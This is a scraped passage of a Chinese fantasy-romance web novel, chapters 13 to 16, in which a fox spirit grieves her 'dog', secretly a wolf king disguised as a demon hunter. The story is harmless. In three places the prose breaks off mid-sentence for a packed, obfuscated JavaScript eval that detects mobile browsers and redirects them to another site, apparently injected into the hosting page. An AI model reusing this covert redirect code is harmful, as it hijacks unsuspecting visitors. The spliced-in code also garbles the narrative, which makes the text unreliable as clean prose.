村里人:“淼淼啊,胡淼淼家的狗死了,就是那个无依无靠,只有一只狗和一群鸡陪伴的可怜小姑娘,今天早上她没去干活,就出去了一个多时辰,回来后狗就死了,应该刚咽气没多久,尸体还是暖的。” 君泽琛:“……” 哦,是胡淼淼家的狗死了。 嗯,他死了,尸体还是暖暖的。 村里人还说,这会儿应该已经埋了。 很好,他不过是找个地方修复妖丹,现在整个村都知道他死了。 尸体都埋得明明白白。 君泽琛揉了揉突突疼的太阳穴,深呼一口气:“胡淼淼呢?” 众人被他难看的表情吓了一跳。 怎么了这是,胡淼淼家的狗死了,捉妖师这么大反应做什么。 他们又不熟。 君泽琛的气场很强大,相处那么久,村民还是有些怕他,小声回答:“不知道,抱着狗拿着铁铲走了,也不让我们跟着,真怕她出点什么事儿。” 君泽琛脸色黑沉得吓人,额前的青筋跳了又跳,转身就走。 他死是小事儿,他怕那个傻人类做出什么傻事。 与此同时,另一只狼也在找胡淼淼。 红溯魇出了妖界,打探到人界的日落山死了很多只狐狸,和他在妖界所打探到了差不多,应该就是狐族派来捉拿野狐狸。 他饶有兴趣在山里溜达一圈,果然察觉到这里有妖气。 妖族在死后,妖丹在一个时辰内不会碎,一个时辰后,妖气不再被控制,回归天地。 这座山里到处都是妖族死后的妖气。 以一狐之力,杀掉同族若干,好强大的战斗力,红溯魇啧啧称奇。 正溜达着,突然察觉到了熟悉的气息。 他微微一愣,不太确定地过去一探究竟。 便见山中有一名漂亮的女子,手里拿着一个铁铲,站在溪边的树底下挖坑。 坑的旁边摆放着一个木箱子,那股子熟悉的气息,就是从里面传来的 。 不同族的妖怪会掩藏气息不易察觉,可是同族之间会有明显的感应。 他很确定,木箱子里面会是一只狼妖。 他们狼妖争强好斗,怎么会来弱者遍地的人界呢? 红溯魇干脆跳到树上,在女人合上木箱的前一秒,看见了一只黑狼。 他如遭雷击。 狼王? 狼王被一个女人封印在箱子里? 怎么会呢? 狼王有多强大是红溯魇有目共睹的,正是因为那无法跨越的力量,这么多年,红溯魇才会臣服在狼王的脚下。 接下来的一幕,更让红溯魇无法接受。 因为,他们狼王不仅被丢在木箱里,还被一个人类当场埋了! 他不可思议地瞪大眼睛,不是,就这么埋了? 红溯魇有一种信念破碎的感觉。 他想也不想就冲上去,大喊一声:“放肆!” 胡淼淼身躯一抖,茫然地看着突然出现的红毛。 男人衣着暴露,一头红毛,长相细眉细眼的,却不丑。 她抱着铲子,警惕地后退,“你干什么?” 男人瞪着眼睛,大声指责:“我还要问你呢,你长得这么漂亮,怎么心思这么歹毒?” 胡淼淼:“……” 她茫然指了指自己:“啊?我吗?” 见她装无辜,红溯魇冷笑:“当然了,你不歹毒,你告诉我,这里面是什么?” 胡淼淼心头一痛,刻意忽略掉,让自己看起来平静一些。 “是狗。” 谁知男人像是被踩到了尾巴,吱哇乱叫,“你…可恶的人类,你竟然敢侮辱他!” “你侮辱他是狗,和骂我不如狗有什么区别?” 胡淼淼:“???” 不是,为什么叫好狗是狗,会是一种侮辱呢? 她一脸茫然:“可是,他本来就是一只狗啊。” 不知怎么得罪这个人了,对方一脸愤怒,破口大骂:“放屁,你狼狗不分吗?他怎么可能是狗?” 胡淼淼虽然害怕莫名其妙出现在这里的男人,但对于这一点很是不服气,梗着脖子理直气壮,“他就是狗,他都对我翘尾巴了!谁家狼会翘尾巴?” “谁告诉你翘尾巴的就是狗?谁说狼就不能翘尾巴?兴许是狼发-情了呢,兴许他在求欢呢?” 胡淼淼被他无耻的言论气到了。 好狗是一只正经的狗,怎么会发-情求欢呢? 她不允许有人在好狗坟前侮辱它的狗格! 她顾不得对未知的恐惧,小脾气挠地一下就上来了,火冒三丈之下,将铁铲往地下一摔。 “你又不是狼,你怎么知道是求欢,你不许污蔑它!” “谁说我不是狼?” 堂堂妖界狼族狼王手下第一妖将,在凡间和一个小姑娘吵得脸红脖子粗,甚至还抽出来自己的狼尾巴,势必要和她一较高下。 果然,狼尾巴一掏,牙尖嘴利死倔死倔的小姑娘闭嘴了。 她扁成了鸭子嘴,眼睛眼溜溜的眨都不敢眨一下,就这样目不转睛地盯着他红彤彤的狼尾巴。 狼尾巴甚至很过分地朝胡淼淼翘了翘。 胡淼淼:“……” 她如同霜打的茄子,整个狐都蔫吧了,碰见天敌,她本能的畏惧。 胡淼淼没出过狐族,自幼躲在有苏苟活。 族群里不会有狼。 她对狼的认知,都是偷偷听别的狐狸父母和小狐狸讲的。 他们说,狼族的本性就是嗜血,残暴,和侵略。 狼族无心无情,毫不怜香惜玉,更是以击杀狐狸为乐。 饿肚子的狼,还会把狐狸放在食谱上,就和他们狐狸吃鸡一样。 所以,碰见狼妖的年幼狐狸,没有反击之力,多半会死在狼嘴之下。 胡淼淼刚才因为好狗死亡而憋出来,想要发泄的勇气,被狼尾巴一戳就破了。 看见活狼了…… 胡淼淼突然厌烦了。 为什么别的狐狸都相安无事地在族群里被长辈庇佑,而她这般倒霉。 狐族长辈要试追杀她。 逃出来的她好不容易遇见相依为命的亲人,就这样死了。 而村里那片净土,也有一个捉妖师对她虎视眈眈。 而今回山里埋狗,又遇见了天敌。 狐倒霉的时候,一步一个坎,似乎老天都想要和她对着干。 这一刻,胡淼淼突然觉得,一切毫无意义。 她垂下睫毛,看着地上的小土包。 那里,躺着的是和她在一起,最亲近的狗。 好狗真的是狼吗? 胡淼淼自动无视这个问题,不愿细想。 往日遇见危险,她害 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031713|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕了,可以肆无忌惮地跑到狗身边告状。 哪怕明知道它只是普通的狗,遇见危险帮不了什么,她还是很享受那种有人站在她身后的感觉。 暖暖的,很安心。 现在,她……似乎什么都没有了。 心里说不上来什么感觉,平静之中,压抑着她不愿回想的回忆。 她不再和狼妖争吵,突然走到小土包身边坐下,恐惧压在了平淡的外表之下。 “趁我反悔之前,你要杀就杀吧。” 红溯魇吵架吵得激烈,没想到对方竟然这种反应,不由得惊奇,“你一个人类,不怕我这只狼妖吗?” “你为什么不怕我?还有你承不承认他是狼?” “你怎么不看我的尾巴?你快看看,狼是可以翘尾巴的……” 狐族曾说,狼族没一个好东西,但没说,狼族还是一个大碎嘴。 很吵,很烦。 胡淼淼被吵得心烦意乱,想揪住他的尾巴,让他杀狐赶紧动手,少废话,一会她就没勇气等死了。 然而在她手触碰到尾巴,碎嘴红毛狼妖的声音戛然而止,他像是被什么人掐住了嗓子,一蹦三尺高。 “您……您怎么在这?” 胡淼淼茫然地看过去,便见到一个阴魂不散的身影。 他站在溪水的对面,也不知道是谁惹怒他了,还是他本来就长得那么凶,戾气都快溢出来了。 他眸子颜色比往日要深,浓墨的眉头紧蹙,五官线条锋利,衣衫包裹之下的身躯紧绷,肌肉鼓起,额前和手背的青筋轻跳,浑身上下,即便是头发都流露着不爽,想揍人的气息。 胡淼淼坐在原地,能感知到他的视线犹如刀子,狠狠刮向自己。 她的视线下移,落在男人的手背上,那里被黑色的布料包扎过,有的地方颜色略深,应该是浸有血迹的。 是了,狐狸的牙齿尖锐,她早上才咬过他,他不生气才怪 。 现在的他,应该是确认她就是狐妖了吧…… 秉着破罐子破摔的心态,胡淼淼坦然的和君泽琛对视。 不知怎么,这位无情的捉妖师,竟然先一步移开了视线,而是把更冰冷的目光,落在狼妖身上。 他双瞳阴翳,“胡淼淼,你在这待着别动,我去解决这只不检点的狼妖。” 胡淼淼想,对咯,这还有一只比自己厉害,更能伤害百姓的狼妖,捉妖师一时半会儿懒得收拾她这只小狐狸。 她干脆躺平了,撑着下巴,冷静地看捉妖师踏水而来。 确实如日落村村民所言,君泽琛这个捉妖师很厉害,他拥有震慑妖族的气场,强健的体魄,和可怕的实力。 在她眼里的天敌,在他手里就像是用来撒气的沙包,一步一打,两步一摔,直把狼族打得吱哇乱叫。 至于叫些什么,红毛狼妖的话语很模糊,像是被屏蔽了一样,胡淼淼听不清。 她只能看着捉妖师紧绷着脸,对狼妖说了什么,狼妖火烧屁股似的捂住尾巴,四处逃窜。 等他们两个打斗的身影渐渐远去,整个林子都寂静了,她疲惫的拍了拍小土包。 “好狗,我想吃鱼了。” “那是我吃过的第一口新鲜的肉,很好吃,大概吃多久都不会腻。” “我想吃,你抓的那条。” 微风轻起,吹动嫩叶的沙沙声,恍惚中,她好像听到了一声狗叫。 14. 第 14 章 汪—— 胡淼淼一愣,怀疑是自己的耳朵听错了,倏然回头,却见原本打远了的男人手里牵着一个绳,绳子的另一端,拴住了一只红色的……狼? 是狼吗? 君泽琛踹了狼一脚,红溯魇又憋了巴屈地狗叫了一声。 原来,刚才的那个叫声并非好狗的,而是…… 胡淼淼向君泽琛投去疑惑的视线。 君泽琛脚踩红溯魇,冷着脸纠正,“我之前看错了,他不是狼妖,是一只狗,你别听他方才瞎说的话。” “根据我对妖族的了解,狗就是狗,狼就是狼,狼不会翘尾巴,什么发情、求欢,一派胡言。” 传言狼族是很忠贞的种族,见到命中注定的伴侣便会翘尾巴,君泽琛称之可笑至极。 他自己的爹有多放荡,他又不是不知道。 狼怎么可能是忠贞的生物,明明是最无情的生物。 君泽琛知道胡淼淼怕狼,所以又踹了一脚过去。 红溯魇麻木着狼脸,表示自己之前是胡说的。 别看他长得像一匹狼,实际上是一只狗。 他不过是觉得狼族强大,便伪装狼族招摇过市罢了,让胡淼淼千万不要当真。 胡淼淼心头松口气,干巴巴地应了一声。 “原来是狗啊……” 红狗是瞎说的,好狗就是一只狗! 胡淼淼吸了吸鼻子,继续道:“你要杀我吗?” 君泽琛蹙眉:“我杀你做什么?” 看来,还是没有发现她的狐狸尾巴啊。 捉妖师,竟然连谁是妖都分不清。 她垂下眸子,“既然不抓,就回去吧,不必跟着我。” “你不跟我回日落村?” “不了,没有意义,我的狗死了,我想离它近一些。” 君泽琛还想说什么,却见胡淼淼兴致缺缺,干脆闭上了嘴。 他没有彻底离开,而是牵着红溯魇到不远处,开始审问,“让你调查狐族,你来此处作甚?” 红狼远没有之前那么嚣张,君泽琛问一句,他答一句。 把从狐族打探的情况说了一遍,并说:“我是想来看看那只野狐狸有什么玄机,谁知道路过这座山的时候,察觉到您的气息,还……还看见那个女人埋您尸体。” 君泽琛揉了揉太阳穴,“别提这个,那只野狐狸有什么特征?” “没说,据说是狐族的异类,生来没有狐火,并且,水属性的妖力。” 水属性? 君泽琛略微沉吟,脑海中不由自主地浮现出一只狐狸。 那只狐狸白生生的,干干净净,没有被狐族侵染,眼睛宛若琉璃,心思单纯的不行,牙倒是挺利…… 君泽琛:“那只狐狸就在山下的村子里,你别回狼族,先去找找。” 最讨厌狐妖的狼王有朝一日竟然对狐妖感兴趣? 红溯魇眼底闪过一抹惊讶,可随即,他便见狼王嘴角似乎扯了一下,似乎有些扭几分扭曲,看得他这个当妖将的都觉得背脊发凉。 不是,那只狐狸何德何能,把狼王气成这样? -- 接下来的几日,红溯魇没回狼族,看见狼王活了,他也不敢造反了,唯唯诺诺跟在狼王屁股后当狗。 然后,让红溯魇怀疑狼生的日子到来了。 他家狼王每天在一块山石上眺望远方,仿若一个望妻石,怎么看都看不够,整只妖都显得格外孤寂。 红溯魇尝试站在他旁边,发现从这里可以看见一个山洞。 洞里住着一个姑娘,是他第一次来山里遇见的那个。 他没记错,狼王就因为这个女人,暴打他一顿,还要让他学狗叫。 他摩挲着下巴,在狼王身后盘算着什么,主动开腔:“王,这莫不是哪族的奸细,又或者身藏什么秘密?得到她,就能攻打整个狐族?还是称霸妖族?” 然后,红溯魇就被拖到深山里一顿胖揍,就剩下一口气的时候,听狼王说:“别打她的主意。” 哎呦喂,红溯魇嗅到了不同寻常的气息,身上的伤没好两天,就开始嘴欠。 “王啊王,您不是臭名远扬……啊不对,臭名昭著?的那个什么铁直狼吗?怎么老是盯着人家姑娘家不放?” “王,您失踪几个月,不会就是和这个人类混在一起吧?” “您若是喜欢,何必在这里单相思,不如属下去把人抢回狼族,放在寝殿,给您日日观看?” 有些狼不检点,说话也越来越放荡,君泽琛攥紧了拳头。 红溯魇见事不好,赶紧转移话题:“哎呀,王你如果喜欢人家姑娘得抓紧了,那姑娘漂亮得比狐狸精都好看,谁见了不喜欢?您快瞧瞧,那是谁来了?” 听说恋爱使人麻木,狼应该也是一样的,如果狼王恋爱了,无心处理狼族事物,他岂不是有机会上位? 他小算盘打得噼里啪啦响,越发卖力:“王,您快看,那小子长得比您嫩!” 果然,狼王的注意力瞬间被转移过去,甚至忘了揍他。 一双狼瞳和遇见天敌了似的,黑色中流转着绿色,阴暗凶狠地盯想下方。 从他们的角度,正巧看见那个雄性人类接近胡淼淼的洞口。 在好狗死掉的第二天,胡淼淼回了一次村子,将屋子里属于她和好狗的东西统统带了回来。 包括好狗的那个破盆。 曾经嫌弃它破破烂烂,现在胡淼淼却能透过它,回忆起往日的点点滴滴。 夜深人静的时候,无尽的空虚将她掩埋,四面八方都是不知哪来的风,吹得她瑟瑟发抖。 有时候她下意识将脚伸下去踩踩,说:“好狗,帮我暖一暖。” 回应她的是一片寂静。 连狗的冷脸嘲笑都没有了。 人间都说亲人死了,活着的人会做梦梦到离开的人。 可能上天觉得她是狐狸,对方是狗,就没有安排阴阳相间的流程,她趴在被窝里努力入睡,醒来的时候只有湿润的脸颊,和一个破盆陪伴。 连续过了几日,她还是没有改变恍恍惚惚的毛病,甚至还总是爱自言自语,冥冥之中,好像好狗还在她身边…… 近日村里的人陆陆续续有人上山看望,都怕她想不开什么的。 其实胡淼淼想得开,她的狐生十多年,小的时候没被其他狐狸打死,长大后更不会被一点点挫折打败。 破罐子破摔妄想随好狗长眠的勇气,早在那日用光了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031714|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日子还要继续过,她如同往常一样出来和野山鸡说话,却碰见了许久不见面的人。 是周舟。 有好狗在中间捣乱,周舟很久没上山找胡淼淼聊天了,而这一次,他来是为了说一件事儿。 “胡姑娘,我阿娘在催我娶妻了。” 少年鼓起了勇气,一边说,一边偷偷看她。 近距离的接近,他能更清晰地看见她的脸,好看得不像真人,无处不精雕细琢,干干净净没有瑕疵。 这样玉一样的人,如果能和她在一起…… 胡淼淼听到这句话,只是说:挺好的,这样你就有更多家人了。 然后,就没有然后了。 周舟心里有些失落,她难道就一点都没看出他的心思吗? 他不想娶别人,只想要胡姑娘。 “胡姑娘,你一个人孤苦伶仃的在山里,我觉得一点都不方便,不如你……” “胡淼淼!” 一道凉薄的声音,打断了少年即将脱口而出的话。 正在说话的两人纷纷愣住,回头一看。 两条鲤鱼被吊在男人手里苦苦挣扎,他步履沉稳,看似缓慢,实际上眨眼之间近在眼前。 他抬手,“我捉了两条鱼,但厨艺不怎么好,你帮我做一下吧。” 好事被打搅,周舟插嘴:“君公子,你和胡姑娘很熟吗?竟然让人家一个姑娘家给你做饭?” 男人无视他的聒噪,锋利的眉峰微微上挑,张狂肆意,伸出两条鱼在胡淼淼面前晃了晃。 “做吗?” 果然,胡淼淼的眼睛跟着他的鱼打转,连连点头,“做。” 君泽琛脸色缓和了几分,他微微颔首:“烤着吃?” 胡淼淼想着家里的狗盆,在狗盆和烤着吃之间,果断选择了烤着吃。 啧,又再嫌弃他的狗盆了。 男人知她所想,在心里轻啧了一声,也不知昨夜是谁半夜爬起来,恨不得抱着他的盆睡觉。 早知今日,当初何必把他埋了? 好几天了,君泽琛还在不满胡淼淼埋狗事件。 胡淼淼干活这几日,他都是留下一根狼毛化作他的模样在房间里打掩护,等她回来的那段时间,他再替换回来。 谁料,胡淼淼那天提前回来了。 分身没有呼吸,没有心跳,胡淼淼就当他死了。 现在好,尸体都入土了,总不能诈尸吧? 君泽琛没有了狗的身份,更是找不到理由接近胡淼淼,只能每日在山头上眼巴巴看着,时不时打一下红溯魇出出气。 成熟稳重的狼王,这一切都可以忍,唯独忍耐不了乱七八糟的雄性往胡淼淼面前凑。 他瞥一眼杵在一旁,十分碍眼的少年。 眼刀子嗖嗖刮,再次评判。 五官没有他的板正,不够立体,太青涩了。 身板更没有他强壮,弱鸡似的,肌肉都没有。 人品更是不行,眼睛直勾勾的看别人家姑娘,一点都不检点。 别以为他不知道,这个少年就是见色起意。 唯一的优点大概就是……比他年轻。 他惊觉,抿唇问胡淼淼:“你喜欢嫩一点的,还是熟的?” 15. 第 15 章 喜欢熟的还是喜欢嫩的,这是一个很简单的问题。 胡淼淼能有一口吃的就不错了,根本不挑食,是一只很好养的狐狸。 鱼只有两条,她偷瞄一眼捉妖师。 人类捉妖师拥有一个比妖族还俊美的脸,甚至比一些妖族雄性更为强壮,不说一声腱子肉,但也不会差到哪去,精壮而不粗犷,五官更是得天独厚,唯独一点。 他很凶,还是个捉妖师。 明明只是鱼的问题,却严肃的和什么似的,她有一种答错了,就要取代鱼,成为食物的错觉。 她试探性地发出一个字:“嫩……” 捉妖师盯了过来。 她头皮一麻,话音一转:“馁什么,咱就不能火候一样,要熟一起熟,要嫩一起嫩吗?” 君泽琛:“……” 也不是不能,首先应该把嫩的踢出去,要熟一起熟。 他慢条斯理地掏出一把刀处理鱼鳞,他应该平时没少杀妖族,刀法那叫一个快、狠、准。 刀刃冰冷的寒芒折射在周舟脸上,刮得他面部生疼,好似自己是被男人处理的鱼一样,随时会被开膛破肚。 君泽琛处理鱼的场面堪称血腥,余光瞥见少年苍白的脸,嗤笑一声:“只有两条鱼,你莫不是打算吃完饭再走?” 男人毫不掩饰的敌意,让周舟有些熟悉。 一个很不礼貌的想法在周舟脑子里产生。 那就是:这男人好像狗。 他这绝对不是骂人,当初他接近胡姑娘的时候,有一条狗从中作梗,当面一套背后一套,没少对他呲牙裂嘴。 连眼神都和捉妖师一模一样,似要把他活剐了。 周舟惊疑不定,正要对胡淼淼说话,捉妖师再次出声打断:“你都是个要娶妻的人了,怎么还不知检点往人家姑娘面前凑。” 周舟:“???” 不是,他就不能想娶眼前这位姑娘吗? 显然,男人就是故意找茬。 周舟还是太嫩了,比不得某个来自妖界的老妖精,每每说话都被堵得哑口无言,更没办法和胡淼淼搭上话,最终心灵受到极大创伤,面红耳赤地走了。 堂堂狼王欺负人家一个人类少年,连山里暗中观察的红狼都看不下去了,于是他闭上眼睛,摇头晃脑,一个大胆的想法形成了。 照狼王在意女人的程度,迟早长出传说中的恋爱脑,爱美人不爱江山,届时他谋权篡位指日可待! 思及此处,红溯魇来劲儿了,女人显然对狼王无感,不如他在中间顺水推舟…… “阿嚏~” 闲杂人等走后,就剩下两个人了 ,胡淼淼坐在洞口小心翼翼缩成一团,不敢吱。 而君泽琛处理鱼的手段温和了不少,清理完鱼的内脏,就用两根清洗过后的树枝穿插起来,架在了火上。 炊烟袅袅,男人生冷的五官似乎都柔和了不少,胡淼淼看见了他手上的牙印。 君泽琛察觉到她的视线,抬手随意看了一眼,漫不经心解释:“一只牙尖嘴利的小东西咬的,别多想。” 胡淼淼:“!!!” 不是,她多想什么? 罪魁祸首就是她,她哪敢多想? 正想着,又听男人说:“下次再遇见那个小东西,牙给它敲碎,那身皮毛挺软的,可以剥下来给你当毛领。” 胡淼淼的眼眸立即瞪大,捂着嘴把脑袋摇成拨浪鼓。 “不用不用,别别别,狐……”她转口:“你说的不会又是狐狸吧?其实我看了,狐狸毛并不怎么好,天暖了怪热的,不如你去剥隔壁的狼皮。” 君泽琛动作一顿,眸色幽深了几分,“为什么是狼皮?” 当然是因为狼族没一个好东西! 胡淼淼心里嘀咕着,随口说:“当然是因为狼毛更舒服。” 狼毛更舒服…… 君泽琛若有所思,将烤好的那条鱼递给她,“自己吃。” 胡淼淼两只手捧着树枝,美眸看了看鱼,“有点糊了?” “熟得好,有嚼劲儿。” “哦!”胡淼淼哪敢抗议啊,低头小口小口吃,大气都不敢喘一下。 在这之前,她从不敢想象,有一天自己竟然和仅次于天敌的捉妖师坐在一起吃鱼。 前不久他还把她掐在手里欺负,她咬了他一口。 胡淼淼其实蛮记仇的,但更胆小,只敢在心里哔哔叭叭地埋怨。 说好的让她帮忙烤鱼呢,结果他自顾自烤上了。 鱼烤的这么柴,树皮都比这软。 哎,他来此的目的是什么,是试探她吗? 小狐狸的脑容量烧干,等人走的时候唉声叹气,“没好狗抓的鱼好吃。” 殊不知狼妖的耳朵敏锐,将她那句话听到了耳朵里。 原本愉悦的心情,瞬间不美丽了。 都是狼,怎么人形和狗形差距那么大,难不成人形没有给足她的安全感吗? -- 接下来的几日,胡淼淼平静的生活被打破。 她甚至没心思悲伤怀秋。 原因无他,捉妖师不知抽了什么风,整日除了捉妖,就是往她这里跑。 臭着一张脸给她带吃的。 早上是村里煮的粥,中午是山里的鸡,晚上的肉没尝出来,但很细嫩,问了之后发现是林中的兔。 兔子也在狐狸食谱上,她欣然接受。 狐狸心思单纯,好了伤疤忘了疼。 刚开始还会心存戒备,没两天就能和君泽琛说上话了。 经过几天的相处,她发现捉妖师似乎没有预想中的那么可怕。 连上次被捉妖师捉到的“狗”妖,都好好活着呢。 那么问题来了。 “都是妖,为什么狗妖留着性命,却要打死狐妖呢?”胡淼淼在溪边洗衣服,春季的阳光暖洋洋的,溪水也不那么冷了。 不过她的手有些嫩,没两下就搓红了。 捉妖师靠在大树下盘膝而坐,凉凉地看了她一眼,之后一招手,湿淋淋的衣服便飘到了他面前,指尖一动,衣服干干净净的回到了胡淼淼的怀里。 “狐妖,该杀。” 胡淼淼不死心:“都是妖,有什么区别?” 君泽琛:“狐狸精没有一个好东西。” 胡淼淼:“……” 好了,死心了。 当天晚上,捉妖师揣着村里挖来的红薯,发现胡淼淼的洞捂得严严实实,俨然不欢迎的状态,他现在是人身,又不好闯女人的住处。 伫立半晌,他蹲下身,起火,烤了两枚红薯,放在洞口的帘前。 没一会儿,门帘离伸出一只手,嗖地一下卷走了两个红薯。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031715|178656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 许是被烫到了,里面传来小小的抽气声。 男人撑着下巴,凉凉地掀了掀眼皮,“吃了我的东西,连面都不给我见?” 回应他的是一块红薯皮从里面丢了出来。 也不知道是哪里得罪这个小祖宗了,君泽琛陷入沉思,去鸡窝抓住某只鸡精,掐住它扑腾扑腾的翅膀,冷声问:“胡淼淼可是遇见了什么难事?” 鸡精既惊恐又茫然:“咕咕哒,我不知道啊。” 狐狸祖宗啊,您还记得自己是一只妖吗? 和捉妖师在一起是不会有好下场的! 鸡精有些怂,怕捉妖师嫌弃自己没用杀妖灭口,绞尽脑汁回答:“狗……或许是这两天是狗的头七吧。” 君泽琛:“……” 他讽刺道:“需要我给那只狗烧点纸吗?” 鸡精瑟瑟发抖:“也……也不是不可以。” 君泽琛采用了鸡精的意见,再次找上胡淼淼,冷脸说要给狗烧纸。 这个理由,成功掐住了小狐狸的七寸。 她别别扭扭出来,抿着唇,“走吧。” 还特意穿上了一件白衣服。 君泽琛全程黑着脸,给自己上坟。 耳边是她的哭声。 其实,失去亲人的悲痛不一定当天表现出来,很多时候都是反应不及时,等许久之后,悲伤才会蔓延到大脑。 胡淼淼就是如此,她哭得眼睛都红了。 “你说,好好的都怎么就死了。” 君泽琛闻言阴阳怪气:“是啊,好好的狗,怎么就死了呢?” 胡淼淼:“会不会是吃了别人家下的耗子药。” 君泽琛:“?” 胡淼淼:“我听说狗会吃死耗子,也不是没可能。” “闭嘴吧,上你的坟。”君泽琛塞了她一把纸钱,“你的狗可能在地府穷死了,快烧。” “哦哦。” 胡淼淼不懂民间习俗,头七还是听别人说的,她还给好狗立了一个碑,让它一路走好。 山间亮着阵阵火光,为她莹白的脸蛋添了淡淡的红,她垂着睫毛,专心数纸钱,念叨着让好狗在地府买肉包子,买桂花糕,买烧鸡,吃饱喝足赶紧找个好人家。 模样认真又幼稚。 如果世界上有地府,那么君泽琛这样的狼,早就下十八层地狱了,也就骗骗这些单纯的人类。 可鬼使神差地,君泽琛问:“那只狗对你来说,真的很重要吗?” 他捏紧了指尖,活了几百年的妖,在这一刻竟然和毛头小子一样,内心期待着什么。 曾几何时,一代狼王,需要弱小的人类来评判。 这一刻,他紧盯着女人绝美的容颜,黑眸之下的绿色怎么也掩盖不住,幽绿诡谲。 胡淼淼并没有发现,她想也不想,“当然是亲人了,我长这么大,就没有人……不对,没有狗对我这么好。” 只是亲人吗? 君泽琛目光幽幽:“可你埋的挺利索,也许你亲人并不想死。” 胡淼淼擦了一把眼泪,瓮声瓮气:“我怕好狗入土晚了赶不上投胎。” 君泽琛:“也许他并不想投胎。” “你又不是狗,你怎么知道?”胡淼淼觉得捉妖师有些奇怪,抬头之际,便见他的眼睛好像绿了。 她:“???” 16. 第 16 章 狐狸读书少,但狐狸所见过的人类眼睛都是黑色的或者深咖色。 只要妖族的眼睛才会有其他颜色。 可是…… “你不是捉妖师吗?” 被看见了眼睛,君泽琛十分淡定,“我们捉妖师能通灵,你没有发现我的眼睛很眼熟吗?” 男人席地而坐,一本正经地抬起了脸。 他的眼型狭长,线条流畅而锋利,瞳仁由黑转绿,渐渐地变成了胡淼淼熟悉的绿色。 胡淼淼唰地一下弹跳起来,颤巍巍指着他,“你你你……” 君泽琛用那双苍绿色的眸子里倒映着女人慌乱的表情,他语气平稳:“通灵可以连接逝去的灵魂,我能感知到那只狗的遗愿。” 他就是欺负胡淼淼好骗没有常识,换一个人都不会信的。 胡淼淼信了,她红着眼睛,“我……好狗在地下过得好吗?” 君泽琛确实是个坏狼,欺骗无知姑娘的良心痛了零点一秒,便冷着脸道:“不好。” “那只狗说,尸体都没凉透呢,就被没良心的女人给埋了。” 说来说去,他还是对埋狗事件耿耿于怀。 任谁出去一圈,回来发现自己已经入土了,都不会好受。 但凡是其他人,他这坏脾气,非要把那个人头盖骨掀了。 可谁让对方是胡淼淼呢,他只能用这种方式出一口恶气。 胡淼淼不知所措地站在原地,可怜兮兮地捏着衣角,悲戚,“那……那我再把狗挖出来?” 君泽琛:“……” 他怒了。 “你还是不是人!” 他太凶了,加上胡淼淼本身就不是人,哇的一下就哭了出来。 “那要怎么办嘛~” 她一小只蹲在坟头,凄凄惨惨戚戚地嘤嘤嘤,鼻尖都哭红了,在挖坟和继续烧纸之间犹豫不决。 很好,君泽琛的良心又痛了零点一秒。 恶劣的狼在心里想着,哭的真可怜。 只要胡淼淼挖坟,就会发现那个箱子里面的尸体已经不见了,只有一根狼毛。 君泽琛屈膝坐在一旁,终于良心发现,“好狗说,看在你哭的可怜的份儿上就原谅你了,只不过他不会离开,地府说他死的冤,不收留,只能继续盯着你了。” “鬼吗?”胡淼淼蹲在坟头,两只手放在膝盖上,侧头看他,浓密的睫毛上还挂着一滴泪珠。 君泽琛指尖轻颤,终于没忍住,站起身,走到她面前,黑色的影子将她笼罩,强大的压迫感让她的心尖忍不住颤抖。 她缩了缩脑袋,还以为他要代替好狗打狐狸。 结果,男人蹲下高大的身躯,抬手拭去她摇摇欲坠的眼泪,苍绿色的眼底闪过一抹别样的情绪,沉稳的声音在她耳边响起。 他问她:“怕吗?” “他是鬼,正在盯着你看。” 胆小的人类,又要被邪恶的狼吓到了吧。 然而,她却轻眨了一下眼睛,四处环顾,满含期待:“就让它盯着吧。” 狐狸不害怕,好狗不会伤害她,只是想看着她而已,给它盯。 从好狗死后,胡淼淼就没睡过一天好觉,这一晚,她和君泽琛分开,心情很好的回到狐狸洞。 一会看一眼洞门口,一会看看狗窝。 睡觉前连床底下都没放过,仿佛身边全是狗。 “好狗,睡觉啦。” 她躺回床上,夜里,没再惊醒。 却说另一边,红溯魇从镇上溜溜达达回来了,并且带来一个消息。 “王,那只狐狸的消息我有着落了,还有三日就是人间的上巳节了,人间热闹着,近期也发生了几起杀人案,是精气被吸干了,应该是那狐妖所为。” 狐妖这种东西,喜好热闹,更喜好男女之情那档子事儿。 自古以来 ,能从妖界叛逃至人间的妖精,都是放弃仙途,妄想走捷径的。 狐妖会采阳补阴,来增强自己的妖力。 君泽琛脑海中再次浮现出一只小狐狸。 圆头圆脑,几乎没有脖子,毛绒绒的一个小圆球,模样秀气,眼神澄澈。 原以为和其他狐族不一样的。 他眼底闪过一抹厌烦,“三日后,我必取她首级。” 红溯魇哎呀一声,摇头晃脑:“这是重点吗?重点是上巳节啊,你得带那位漂亮姑娘去。” 